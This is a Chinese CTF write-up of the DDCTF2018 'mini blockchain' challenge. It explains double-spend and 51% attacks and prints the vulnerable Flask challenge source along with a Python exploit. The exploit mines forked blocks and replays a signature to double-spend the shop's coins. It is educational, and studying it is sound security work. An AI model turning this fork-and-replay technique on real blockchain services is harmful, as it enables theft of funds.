区块链中的双花攻击

w-i-n-d

author: Homaebic
team: Syclover

mini blockchain

DDCTF2018出了一道区块链题目，对于区块链的web安全网上还没有很多的教程，这道题目给了一个很好的入门机会，我也将学习到的知识分享出来。

DD自己创造了一个自己的区块链货币用于商店，但它并不是真正的区块链，因为链只保存在服务器的session中，不过这不影响我们理解和做题。

来看一张交易模型

关于UTXO的详解看http://8btc.com/article-4381-1.html

区块链就是区块和链。在这道题目中，看上面的图片，一个方框就是一个区块（block）。一个区块包含了一次交易（tx），一个交易包含了交易的输入（input）和交易的输出（output），其中输出又称为UTXO。每一次交易的输入和输出必须相同，如果输入10块钱花了2块给便利店，那么2块输出给便利店，8块输出给自己。也可以把UTXO理解为余额，因为每次能花多少，都是要取决于之前的UTXO向自己输出了多少。

这道题目的背景是银行在某天发行了100w个DDB（对应上图第一个方块），这时黑客出现了，他在第一个block后面append了一个区块，把银行的99w9999转给了自己，把1转给银行。这样银行就只剩下一块钱了，黑客还得意的喊：second_block = create_block(genesis_block[\'hash\'], \'HAHA, I AM THE BANK NOW!\', [transferred]) 题目的要求是获得两个钻石，获得钻石的方法是商店有100w元。一个钻石的价格是100w，就是说我们得有200w才可以得到两个钻石，可银行只发行了100w，该怎么办？

双花攻击

双花攻击是同一笔UTXO在不同交易中的花费，双花不会产生新的货币，只能把自己花出去的钱重新拿回来。

这个攻击方法给了我灵感，实际上这道题就是使用双花攻击中的51% attack。51% attack指的是攻击者如果可以拥有超过全网50%的算力，就可以创造一条高度大于原始链的链，攻击者可以发送一个新的块到这条链上。（如果有对比特币进行51% attack成功的案例，最大的危害在于人们对比特币的信心受损导致的比特币大跌而不是51% attack本身带来的危害）

如何进行51% attack攻击？在这道题中，就是创造一条超过原始链的长度。为了在后续讲解中方便，先写出题目给出的几个块，主链上块前有*

*块1（创世区块）：银行发行100w币
*块2(1)：黑客转走99w9999，银行留1
*块3(1)：空块（什么都没操作）

具体操作就是从块1之后append一个块，把银行的100w转到shop中

*块1（创世区块）：银行发行100w币  
*块2(1)：黑客转走99w9999，银行留1 块2(2)--shop转走100w
*块3(1)：空块（什么都没操作）

（还可以随意转钱？就是有这种操作23333）

下一步，在自己append的块后append一个空块

*块1（创世区块）：银行发行100w币  
*块2(1)：黑客转走99w9999，银行留1 块2(2)--shop转走100w
*块3(1)：空块（什么都不发生） 块3(2)--空块（什么都不发生）

再来一次同样的操作

*块1（创世区块）：银行发行100w币  
块2(1)：黑客转走99w9999，银行留1 *块2(2)--shop转走100w
块3(1)：空块（什么都没操作） *块3(2)--空块（什么都不发生）
  *块4(1)--空块（什么都不发生）

此时最长的链为块1-块2(2)-块3(1)-块4(1)。这样，我们就构造了一个比题目给我们还要长的链，区块链这套逻辑会把最长的链当做主链，主链从块2(2)处分叉，块2(1)失效了，shop账户中多了100w，我们获得一个钻石。接下来系统在购买钻石的块3(2)块后添加一个块，转走商店中的100w到商店钱包。

*块1（创世区块）：银行发行100w币  
块2(1)：黑客转走99w9999，银行留1 *块2(2)--shop转走100w
  *块3(2)--空块（什么都不发生）
  *块4(1)--空块（什么都不发生）
  *块5(1)--把100w转到shop_wallet_address

那么另一个钻石该怎么获得呢？继续利用50% attack攻击，从块4(1)分叉，添加空块

*块1（创世区块）：银行发行100w币    
块2(1)：黑客转走99w9999，银行留1 *块2(2)--shop转走100w  
  *块3(2)--空块（什么都不发生）  
  *块4(1)--空块（什么都不发生）  
  *块5(1)--把100w转到shop_wallet_address 块5(2)--空块（什么都不发生）

再append一个空块

*块1（创世区块）：银行发行100w币    
块2(1)：黑客转走99w9999，银行留1 *块2(2)--shop转走100w  
  *块3(2)--空块（什么都不发生）  
  *块4(1)--空块（什么都不发生）  
  块5(1)--把100w转到shop_wallet_address *块5(2)--空块（什么都不发生）
    *块6(1)--空块（什么都不发生）

主链变为块1-块2(2)-块3(1)-块4(1)-块5(2)-块6(1)，块5(1)失效，shop拥有100w，钻石+1，得到flag。

为何可以直接append？

在这道题目中，给了一个append块的方法，可以将post请求当做块append到某个块后面，这个是一个正常的功能。在生成sign的时候没有将使用签名的交易hash计算进去，导致在验证的时候没有验证sign和交易hash的对应，所以只要有一个sign，就可以不断的利用这个sign append区块。

如果可以任意append，为什么不直接给shop转200w？

首先，所有的append都必须在创世block后。其次，系统会验证append块中的sign。还会验证prev值，是否为某个已存在的block的hash。（block的hash是将block的每个参数打包后进行hash）无法知道某个block的hash就无法在block后append一个block。最后，转出的钱，必须是之前的UTXO，题目中UTXO总量为100w，无法创造200w的UTXO。

51% attack和算力有什么关系？

append的块除了以上要求，还有一个复杂性要求。也就是工作量证明（https://baike.baidu.com/item/%E5%B7%A5%E4%BD%9C%E9%87%8F%E8%AF%81%E6%98%8E/22448498?fr=aladdin）。任意添加一个块的要求是

DIFFICULTY = int(\'00000\' + \'f\' * 59, 16)
......
if block_hash > difficulty: raise Exception(\'Please provide a valid Proof-of-Work\')

block的hash要小于系统定义的difficulty。为了使得可以控制hash的大小，一个block中还有一个可以随意定义的nonce，我们可以控制nonce来控制block_hash达到目的。为了满足复杂度要求，必须穷举nonce。init()中的几个块可以使用有语义的nonce是因为在那个阶段DIFFICULTY要求极低。

如果世界上有100个用户在使用这个系统，100个用户都在计算nonce以append自己的block。如果其中一个人计算nonce的速度要超过其余99个的速度，那么他添加新块的速度就会超过其他99个人添加新块的速度，他就可以在随意的一个块开始添加自己的块，使得自己构造的链长度大于其余99个构造的链，成为主链，达成51%攻击。这道题没人和我们比算力，生成一个比最长链长度大一的链即可。

一个block结构是怎样的？块2(1)

{
\'nonce\': \'HAHA, I AM THE BANK NOW!\', 
\'prev\': \'dd04faf20c550cf63ae07504884e1fb673cfefaaac2979dde1ae3cbf95961569\', 
\'hash\': \'5217b7fa9c1e2296e66202997df0a51b20e58fe921011069535a62cd53518e55\', 
\'transactions\': [{
    \'input\': [\'9d65e5db-8671-4323-b279-af56963f2565\'], 
    \'output\': [{
        \'amount\': 999999, 
        \'hash\': 
        \'da32c8155ebbec8df888653d4d243698e29c4ea43cc0fa1bff14649e8511416b\', 
        \'id\': \'9dcb9e47-5816-4451-b99e-eb6d729f64b7\', 
        \'addr\': \'b2a6484625db7305ea7bb1c8a484832ec32686c0f3a3dac5cfe63779ede94494d841f8117fe1dd55c57e23aa61953391\'
        }, 
        {
        \'amount\': 1, 
        \'hash\': \'19fa5198bc172d6525976b7f0fb5f0647b96ab6b55bd4eb9033ab158faebb0ad\', 
        \'id\': \'592e27c6-b111-40a7-8b2d-ccefa333e616\', 
        \'addr\': \'99a13a3a21051c8f93c5a87f7f92151b4acfaf01f2e596696e8922e3801278470592cdbc8920f289a1829f726c43a1e9\'
        }],

        \'hash\': \'5815cc2ccf6327396ce5490c39e7c6381f15250fa0ab043eae8096d1a1c44704\', 
        \'signature\': [\'9455298609f042b631f99cb33f3f683f6b3361962df5f1c6f698e03b23d72c7ea42c939999913424e4c424f6b7024514\']
        }
]}

 

参数解释，括号内为生成函数

nonce：自定义字符串

prev：上一个块的hash

hash：本个块的hash（hashhash，hash_reducer，hash_block）

transactions：交易（tx）

​ input：之前utxo的id

​ output：UTXO

​ amount：数量

​ hash：UTXO的hash（hash，hash_reducer，hash_utxo）

​ id：这个UTXO的id

​ addr：目标地址

​ hash：交易的hash（hash，hash_reducer，hash_tx）

​ signature：交易签名（sign_input_utxo）

题目代码：

# -*- encoding: utf-8 -*-
# written in python 2.7

import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request

app = Flask(__name__)
app.secret_key = \'*********************\'
url_prefix = \'/b9af31f66147e\'

def FLAG():
    return \'Here is your flag: DDCTF{******************}\'

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x)+hash(y))

def has_attrs(d, attrs):
    if type(d) != type({}): raise Exception("Input should be a dict/JSON")
    for attr in attrs:
        if attr not in d:
            raise Exception("{} should be presented in the input".format(attr))

EMPTY_HASH = \'0\'*64

def addr_to_pubkey(address):
    return rsa.PublicKey(int(address, 16), 65537)

def pubkey_to_address(pubkey):
    assert pubkey.e == 65537
    hexed = hex(pubkey.n)
    if hexed.endswith(\'L\'): hexed = hexed[:-1]
    if hexed.startswith(\'0x\'): hexed = hexed[2:]
    return hexed

def gen_addr_key_pair():
    pubkey, privkey = rsa.newkeys(384)
    return pubkey_to_address(pubkey), privkey

bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()

def sign_input_utxo(input_utxo_id, privkey):
    return rsa.sign(input_utxo_id, privkey, \'SHA-1\').encode(\'hex\')

def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo[\'id\'], utxo[\'addr\'], str(utxo[\'amount\'])])

def create_output_utxo(addr_to, amount):
    utxo = {\'id\': str(uuid.uuid4()), \'addr\': addr_to, \'amount\': amount}
    utxo[\'hash\'] = hash_utxo(utxo)
    return utxo

def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx[\'input\'], EMPTY_HASH),
        reduce(hash_reducer, [utxo[\'hash\'] for utxo in tx[\'output\']], EMPTY_HASH)
    ])

def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {\'input\': input_utxo_ids, \'signature\': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], \'output\': output_utxo}
    tx[\'hash\'] = hash_tx(tx)
    return tx

def hash_block(block):
    return reduce(hash_reducer, [block[\'prev\'], block[\'nonce\'], reduce(hash_reducer, [tx[\'hash\'] for tx in block[\'transactions\']], EMPTY_HASH)])

def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(\'\'): raise Exception(\'prev_block_hash should be hex-encoded hash value\')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception(\'the nonce is too long\')
    block = {\'prev\': prev_block_hash, \'nonce\': nonce, \'transactions\': transactions}
    block[\'hash\'] = hash_block(block)
    return block

def find_blockchain_tail():
    return max(session[\'blocks\'].values(), key=lambda block: block[\'height\'])

def calculate_utxo(blockchain_tail):
    curr_block = blockchain_tail
    blockchain = [curr_block]
    while curr_block[\'hash\'] != session[\'genesis_block_hash\']:
        curr_block = session[\'blocks\'][curr_block[\'prev\']]
        blockchain.append(curr_block)
    blockchain = blockchain[::-1]
    utxos = {}
    for block in blockchain:
        for tx in block[\'transactions\']:
            for input_utxo_id in tx[\'input\']:
                del utxos[input_utxo_id]
            for utxo in tx[\'output\']:
                utxos[utxo[\'id\']] = utxo
    return utxos

def calculate_balance(utxos):
    balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
    for utxo in utxos.values():
        if utxo[\'addr\'] not in balance:
            balance[utxo[\'addr\']] = 0
        balance[utxo[\'addr\']] += utxo[\'amount\']
    return balance

def verify_utxo_signature(address, utxo_id, signature):
    try:
        return rsa.verify(utxo_id, signature.decode(\'hex\'), addr_to_pubkey(address))
    except:
        return False

def append_block(block, difficulty=int(\'f\'*64, 16)):
    has_attrs(block, [\'prev\', \'nonce\', \'transactions\'])

    if type(block[\'prev\']) == type(u\'\'): block[\'prev\'] = str(block[\'prev\'])
    if type(block[\'nonce\']) == type(u\'\'): block[\'nonce\'] = str(block[\'nonce\'])
    if block[\'prev\'] not in session[\'blocks\']: raise Exception("unknown parent block")
    tail = session[\'blocks\'][block[\'prev\']]
    utxos = calculate_utxo(tail)

    if type(block[\'transactions\']) != type([]): raise Exception(\'Please put a transaction array in the block\')
    new_utxo_ids = set()
    for tx in block[\'transactions\']:
        has_attrs(tx, [\'input\', \'output\', \'signature\'])

        for utxo in tx[\'output\']:
            has_attrs(utxo, [\'amount\', \'addr\', \'id\'])
            if type(utxo[\'id\']) == type(u\'\'): utxo[\'id\'] = str(utxo[\'id\'])
            if type(utxo[\'addr\']) == type(u\'\'): utxo[\'addr\'] = str(utxo[\'addr\'])
            if type(utxo[\'id\']) != type(\'\'): raise Exception("unknown type of id of output utxo")
            if utxo[\'id\'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo[\'id\']))
            new_utxo_ids.add(utxo[\'id\'])
            if type(utxo[\'amount\']) != type(1): raise Exception("unknown type of amount of output utxo")
            if utxo[\'amount\'] <= 0: raise Exception("invalid amount of output utxo")
            if type(utxo[\'addr\']) != type(\'\'): raise Exception("unknown type of address of output utxo")
            try:
                addr_to_pubkey(utxo[\'addr\'])
            except:
                raise Exception("invalid type of address({})".format(utxo[\'addr\']))
            utxo[\'hash\'] = hash_utxo(utxo)
        tot_output = sum([utxo[\'amount\'] for utxo in tx[\'output\']])

        if type(tx[\'input\']) != type([]): raise Exception("type of input utxo ids in tx should be array")
        if type(tx[\'signature\']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
        if len(tx[\'input\']) != len(tx[\'signature\']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
        tot_input = 0
        tx[\'input\'] = [str(i) if type(i) == type(u\'\') else i for i in tx[\'input\']]
        tx[\'signature\'] = [str(i) if type(i) == type(u\'\') else i for i in tx[\'signature\']]
        for utxo_id, signature in zip(tx[\'input\'], tx[\'signature\']):
            if type(utxo_id) != type(\'\'): raise Exception("unknown type of id of input utxo")
            if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
            utxo = utxos[utxo_id]
            if type(signature) != type(\'\'): raise Exception("unknown type of signature of input utxo")
            if not verify_utxo_signature(utxo[\'addr\'], utxo_id, signature):
                raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
            tot_input += utxo[\'amount\']
            del utxos[utxo_id]
        if tot_output > tot_input:
            raise Exception("You don\'t have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
        tx[\'hash\'] = hash_tx(tx)

    block = create_block(block[\'prev\'], block[\'nonce\'], block[\'transactions\'])
    block_hash = int(block[\'hash\'], 16)
    if block_hash > difficulty: raise Exception(\'Please provide a valid Proof-of-Work\')
    block[\'height\'] = tail[\'height\']+1
    if len(session[\'blocks\']) > 50: raise Exception(\'The blockchain is too long. Use ./reset to reset the blockchain\')
    if block[\'hash\'] in session[\'blocks\']: raise Exception(\'A same block is already in the blockchain\')
    session[\'blocks\'][block[\'hash\']] = block
    session.modified = True

def init():
    if \'blocks\' not in session:
        session[\'blocks\'] = {}
        session[\'your_diamonds\'] = 0

        # First, the bank issued some DDCoins ...
        total_currency_issued = create_output_utxo(bank_address, 1000000)
        genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
        genesis_block = create_block(EMPTY_HASH, \'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank\', [genesis_transaction])
        session[\'genesis_block_hash\'] = genesis_block[\'hash\']
        genesis_block[\'height\'] = 0
        session[\'blocks\'][genesis_block[\'hash\']] = genesis_block

        # Then, the bank was hacked by the hacker ...
        handout = create_output_utxo(hacker_address, 999999)
        reserved = create_output_utxo(bank_address, 1)
        transferred = create_tx([total_currency_issued[\'id\']], [handout, reserved], bank_privkey)
        second_block = create_block(genesis_block[\'hash\'], \'HAHA, I AM THE BANK NOW!\', [transferred])
        append_block(second_block)

        # Can you buy 2 diamonds using all DDCoins?
        third_block = create_block(second_block[\'hash\'], \'a empty block\', [])
        append_block(third_block)

def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail

@app.route(url_prefix+\'/\')
def homepage():
    announcement = \'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. \'
    balance, utxos, _ = get_balance_of_all()
    genesis_block_info = \'hash of genesis block: \' + session[\'genesis_block_hash\']
    addr_info = \'the bank\\'s addr: \' + bank_address + \', the hacker\\'s addr: \' + hacker_address + \', the shop\\'s addr: \' + shop_address
    balance_info = \'Balance of all addresses: \' + json.dumps(balance)
    utxo_info = \'All utxos: \' + json.dumps(utxos)
    blockchain_info = \'Blockchain Explorer: \' + json.dumps(session[\'blocks\'])
    view_source_code_link = "<a href=\'source_code\'>View source code</a>"
    return announcement+(\'<br /><br />\r\n\r\n\'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))


@app.route(url_prefix+\'/flag\')
def getFlag():
    init()
    if session[\'your_diamonds\'] >= 2: return FLAG()
    return \'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to \'.format(session[\'your_diamonds\']) + shop_address

def find_enough_utxos(utxos, addr_from, amount):
    collected = []
    for utxo in utxos.values():
        if utxo[\'addr\'] == addr_from:
            amount -= utxo[\'amount\']
            collected.append(utxo[\'id\'])
        if amount <= 0: return collected, -amount
    raise Exception(\'no enough DDCoins in \' + addr_from)

def transfer(utxos, addr_from, addr_to, amount, privkey):
    input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
    outputs = [create_output_utxo(addr_to, amount)]
    if the_change != 0:
        outputs.append(create_output_utxo(addr_from, the_change))
    return create_tx(input_utxo_ids, outputs, privkey)

@app.route(url_prefix+\'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>\')
def free_ddcoin(address):
    balance, utxos, tail = get_balance_of_all()
    if balance[bank_address] == 0: return \'The bank has no money now.\'
    try:
        address = str(address)
        addr_to_pubkey(address) # to check if it is a valid address
        transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
        new_block = create_block(tail[\'hash\'], \'b@cKd00R tr1993ReD\', [transferred])
        append_block(new_block)
        return str(balance[bank_address]) + \' DDCoins are successfully sent to \' + address
    except Exception, e:
        return \'ERROR: \' + str(e)

DIFFICULTY = int(\'00000\' + \'f\' * 59, 16)
@app.route(url_prefix+\'/create_transaction\', methods=[\'POST\'])
def create_tx_and_check_shop_balance():
    init()
    try:
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = \'transaction finished.\'
    except Exception, e:
        return str(e)

    balance, utxos, tail = get_balance_of_all()
    if balance[shop_address] == 1000000:
        # when 1000000 DDCoins are received, the shop will give you a diamond
        session[\'your_diamonds\'] += 1
        # and immediately the shop will store the money somewhere safe.
        transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
        new_block = create_block(tail[\'hash\'], \'save the DDCoins in a cold wallet\', [transferred])
        append_block(new_block)
        msg += \' You receive a diamond.\'
    return msg


# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+\'/reset\')
def reset_blockchain():
    if \'blocks\' in session: del session[\'blocks\']
    if \'genesis_block_hash\' in session: del session[\'genesis_block_hash\']
    return \'reset.\'

@app.route(url_prefix+\'/source_code\')
def show_source_code():
    source = open(\'serve.py\', \'r\')
    html = \'\'
    for line in source:
        html += line.replace(\'&\',\'&amp;\').replace(\'\t\', \'&nbsp;\'*4).replace(\' \',\'&nbsp;\').replace(\'<\', \'&lt;\').replace(\'>\',\'&gt;\').replace(\'\n\', \'<br />\')
    source.close()
    return html

if __name__ == \'__main__\':
    app.run(debug=False, host=\'0.0.0.0\')

 

其余函数功能：

addr_to_pubkey：检查地址有效性

pubkey_to_address：生成钱包地址

gen_addr_key_pair：生成钱包地址

create_output_utxo：创建一个utxo

create_tx：创建一个tx

create_block：创建一个block

find_blockchain_tail：查询最后一个block

calculate_utxo：得到所有utxo

calculate_balance：计算钱包的余额

verify_utxo_signature：验证utxo签名

append_block：添加块

init：初始化函数

get_balance_of_all：得到所有block，所有地址和utxo

homepage：web主页

getFlag：flag获取页面

EXP: 重命名源代码为btc.py

# -*- encoding: utf-8 -*-

import btc, rsa, uuid, json, copy
#创世块的hash
genies_hash = "92875ca628cd0890020f6a74f3011b611db814f30300f729f20b5a88c49e3e44"
#黑客转账999999,所用的input和签名
input,signature = ("9018b356-cb1d-44c9-ab4e-bf15a8b2f95c","161ae7eac89f71d50d1019d21288dce23cae6cbb587998df9010e3ff3c80ee8e4c06bd70555604be85ca0869136b3966")
#商店地址
shop_address = "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735"
txout_id = str(uuid.uuid4())

#工作量证明
def pow(b, difficulty, msg=""):
    nonce = 0
    while nonce<(2**32):
        b[\'nonce\'] = msg+str(nonce)
        b[\'hash\'] = btc.hash_block(b)
        block_hash = int(b[\'hash\'], 16)
        if block_hash < difficulty:
            return b
        nonce+=1   

def myprint(b):
    print(json.dumps(b))
    print(len(json.dumps(b)))

#构造一个空块
def empty_block(msg, prevHash):
    b={}
    b["prev"] = prevHash
    b["transactions"] = []
    b = pow(b, btc.DIFFICULTY, msg)
    return b

#从创世块开始分叉，给商店转1000000
block1 = {}
block1["prev"] = genies_hash
tx = {"input":[input],"output":[{"amount":1000000, \'id\':txout_id,\'addr\':shop_address}],\'signature\':[signature]}
tx["output"][0]["hash"] = btc.hash_utxo(tx["output"][0])
tx[\'hash\'] = btc.hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, btc.DIFFICULTY)
myprint(block1)

#构造空块增加分叉链长度，使分叉链最长，因为max的结果不唯一，少则一次多则两次
block2 = empty_block("myempty1", block1["hash"])
myprint(block2)
block3 = empty_block("myempty2", block2["hash"])
myprint(block3)

#余额更新成功,系统自动添加块，转走商店钱，钻石+１

#从自己的块，即系统转走钱之前的那个块再次分叉，添加空块
block4 = empty_block("myempty3", block3["hash"])
myprint(block4)
block5 = empty_block("myempty4", block4["hash"])
myprint(block5)
#新的分叉链最长，余额更新成功，钻石+１

 

生成出的四个块按顺序提交，再访问/flag就可以得到flag

分类：

技术点：

相关文章：

猜你喜欢
相关资源
相似解决方案
热门标签
Java Python linux javascript Mysql C# Docker 算法 前端 SpringBoot Redis Vue spring 设计模式 .net core .net kubernetes c++ 数据库 数据结构 大数据 js 机器学习 微服务 Android Go 程序员 面试 JVM ASP.net core 云原生 人工智能 后端 PHP git CSS golang k8s Nginx Django mybatis 深度学习 多线程 React 架构 devops 爬虫 云计算 Spring Boot LeetCode